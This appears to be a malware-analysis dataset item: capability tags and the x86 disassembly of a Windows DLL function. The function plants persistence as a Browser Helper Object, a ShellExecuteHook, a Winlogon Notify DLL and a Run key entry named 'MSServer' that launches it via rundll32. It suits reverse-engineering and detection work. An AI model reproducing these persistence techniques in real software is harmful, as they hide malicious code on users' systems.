Function at 0x100045bc
Capabilities:
Check mutex on windows
Check os version
Persist via run registry key
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e0
push ebx
xor ebx, ebx
cmp dword [0x10009da0], ebx
push esi
push edi
jne 0x10004634
mov eax, dword [0x1000d190]
or eax, dword [0x1000d194]
je 0x1000462a
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 8
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10001c7c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
add esp, 0xc
sub ecx, dword [0x1000d190]
sbb eax, dword [0x1000d194]
cmp eax, 0x64
jl 0x10004634
jg 0x1000462a
cmp ecx, 0x9534e000
jb 0x10004634
mov dword [0x10009da0], 1
cmp byte [0x1000d19f], bl
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
jne 0x1000464e
cmp dword [0x10009da0], ebx
je 0x10004738
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects_
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.C8DF5002_7A3B_43FB_9CD2_55D64B325DE4
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
mov edi, 0xf003f
push edi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x13c]
push eax
push 0x80000002
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call esi
cmp eax, ebx
je 0x100046d7
cmp eax, 5
jne 0x1000473d
lea eax, [ebp - 0x13c]
push eax
push 0x80000002
call fcn.10003d27
pop ecx
pop ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x13c]
push eax
push 0x80000002
call esi
test eax, eax
jne 0x1000473d
cmp dword [ebp - 8], 1
jne 0x10004724
xor eax, eax
mov word [ebp - 0x2c], bx
lea edi, [ebp - 0x2a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 8
lea eax, [ebp - 0x14]
push eax
push 0x10006c58
call fcn.10001c7c
add esp, 0xc
mov edi, 0xf003f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000473d
mov edi, 0xf003f
push str.CLSID_
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.C8DF5002_7A3B_43FB_9CD2_55D64B325DE4
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x13c]
push eax
push 0x80000000
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], 0x104
call esi
cmp eax, 5
jne 0x100047b9
lea eax, [ebp - 0x13c]
push eax
push 0x80000000
call fcn.10003d27
pop ecx
pop ecx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x13c]
push eax
push 0x80000000
call esi
cmp eax, ebx
jne 0x100048e1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push edi
push ebx
push ebx
push ebx
push str.InprocServer32
push dword [ebp - 4]
mov dword [ebp - 8], ebx
call esi
cmp eax, 5
jne 0x1000480a
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 4]
call fcn.10003d27
pop ecx
pop ecx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push edi
push ebx
push ebx
push ebx
push str.InprocServer32
push 0x80000000
call esi
cmp eax, ebx
jne 0x100048c1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000484c
cmp dword [ebp - 0x18], 1
jne 0x1000484c
push 0x10006020
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1000486b
push 0x10006020
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push 0x10006020
push 1
push ebx
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push str.ThreadingModel
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100048a9
cmp dword [ebp - 0x18], 1
jne 0x100048a9
push str.Both
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100048c1
push 5
push str.Both
push 1
push ebx
push str.ThreadingModel
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 8], ebx
je 0x100048cf
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [0x1000d0bd], bl
je 0x10004988
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push ebx
push ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShellExecuteHooks
push 0x80000002
mov dword [ebp - 4], ebx
call esi
cmp eax, 5
jne 0x10004938
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShellExecuteHooks
push 0x80000002
call fcn.10003d27
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push ebx
push ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShellExecuteHooks
push 0x80000002
call esi
cmp eax, ebx
jne 0x10004988
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 8]
push eax
push ebx
mov edi, str.C8DF5002_7A3B_43FB_9CD2_55D64B325DE4
push edi
push dword [ebp - 4]
mov dword [ebp - 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000496c
cmp dword [ebp - 8], 1
je 0x1000497f
push ebx
push 0x1000b6e7
push 1
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x240]
push eax
call fcn.100023ed
pop ecx
lea eax, [ebp - 0x240]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x10004ad5
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10004acc
mov eax, dword [0x1000d188]
mov dword [ebp - 0x28], eax
mov eax, dword [0x1000d18c]
mov dword [ebp - 0x24], eax
mov eax, dword [0x1000d198]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x38], ebx
lea edi, [ebp - 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edi, str.SOFTWAREMicrosoftWindowsCurrentVersionControl_PanelSettings
push edi
push 0x80000002
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
call esi
cmp eax, 5
jne 0x10004a34
push edi
push 0x80000002
call fcn.10003d27
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edi
push 0x80000002
call esi
cmp eax, ebx
jne 0x10004ac3
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x38]
push eax
push ebx
push ebx
mov edi, str.Time
push edi
push dword [ebp - 4]
mov dword [ebp - 0x18], 0xc
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10004a7c
push 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.10001c9e
add esp, 0xc
test eax, eax
jne 0x10004a7c
cmp dword [ebp - 0x18], 0xc
je 0x10004ab1
cmp dword [0x1000d18c], ebx
jne 0x10004a9e
cmp dword [0x1000d188], ebx
jne 0x10004a9e
mov eax, dword [ebp - 0x38]
mov dword [0x1000d188], eax
mov eax, dword [ebp - 0x34]
mov dword [0x1000d18c], eax
jmp 0x10004ab1
push 0xc
lea eax, [ebp - 0x28]
push eax
push 3
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x26
pop ecx
xor eax, eax
mov dword [ebp - 0x3e0], 0x9c
lea edi, [ebp - 0x3dc]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3e0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp byte [0x1000d0bd], bl
mov al, byte [0x1000d0be]
je 0x10004d84
cmp al, bl
je 0x10004d84
cmp dword [ebp - 0x3dc], 5
ja 0x10004d84
push 0x40
xor eax, eax
cmp byte [0x10006128], bl
mov byte [ebp - 0x240], bl
pop ecx
lea edi, [ebp - 0x23f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x10006128
jne 0x10004b6f
lea eax, [ebp - 0x240]
push eax
push 0x10006020
call fcn.10004566
pop ecx
pop ecx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogonNotify_
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x240]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edi
push 0x80000002
call esi
cmp eax, 5
jne 0x10004bb0
push edi
push 0x80000002
call fcn.10003d27
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edi
push 0x80000002
call esi
cmp eax, ebx
jne 0x10004e41
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push ebx
mov esi, str.Asynchronous
push esi
push dword [ebp - 0xc]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], 4
call edi
test eax, eax
jne 0x10004be7
cmp dword [ebp - 4], 1
je 0x10004c05
push 4
lea eax, [ebp - 4]
push eax
push 4
push ebx
push esi
push dword [ebp - 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], 1
call esi
jmp 0x10004c0b
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test byte [0x10009d9c], 1
mov dword [ebp - 8], 0x104
jne 0x10004c36
or dword [0x10009d9c], 1
push 0x5c
push ebx
push 0x10006020
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
inc eax
mov dword [0x10009d98], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x13c]
push eax
push ebx
push ebx
push str.DllName
push dword [ebp - 0xc]
call edi
test eax, eax
jne 0x10004c68
push dword [0x10009d98]
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10004c89
push dword [0x10009d98]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [0x10009d98]
push 1
push ebx
push str.DllName
push dword [ebp - 0xc]
call esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push str.Impersonate
push dword [ebp - 0xc]
mov dword [ebp - 8], 4
call edi
test eax, eax
jne 0x10004cad
cmp dword [ebp - 4], ebx
je 0x10004cc3
push 4
lea eax, [ebp - 4]
push eax
push 4
push ebx
push str.Impersonate
push dword [ebp - 0xc]
mov dword [ebp - 4], ebx
call esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x13c]
push eax
push ebx
push ebx
push str.Logon
push dword [ebp - 0xc]
mov byte [ebp - 0x13c], bl
mov dword [ebp - 8], 0x104
call edi
test eax, eax
mov edi, 0x1000a344
jne 0x10004d02
push edi
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10004d19
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push ebx
push str.Logon
push dword [ebp - 0xc]
call esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x13c]
push eax
push ebx
push ebx
push str.Logoff
push dword [ebp - 0xc]
mov byte [ebp - 0x13c], bl
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov edi, 0x1000a348
jne 0x10004d5c
push edi
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10004d73
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push ebx
push str.Logoff
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 0xc]
jmp 0x10004e3b
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 4]
push ecx
push ebx
xor ecx, ecx
push 0xf003f
cmp al, bl
push ebx
setne cl
push ebx
push ebx
mov edi, 0x80000001
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
mov dword [ebp - 4], ebx
add ecx, edi
push ecx
call esi
cmp eax, 5
jne 0x10004df3
xor eax, eax
cmp byte [0x1000d0be], bl
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
setne al
add eax, edi
push eax
call fcn.10003d27
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push ebx
xor eax, eax
cmp byte [0x1000d0be], bl
push 0xf003f
push ebx
setne al
push ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
add eax, edi
push eax
call esi
cmp eax, ebx
jne 0x10004e41
push 0x10006020
lea eax, [ebp - 0x344]
push str.rundll32.exe__s_1
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x344]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x344]
push eax
push 1
push ebx
push str.MSServer
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov al, 1
pop ebx
leave
ret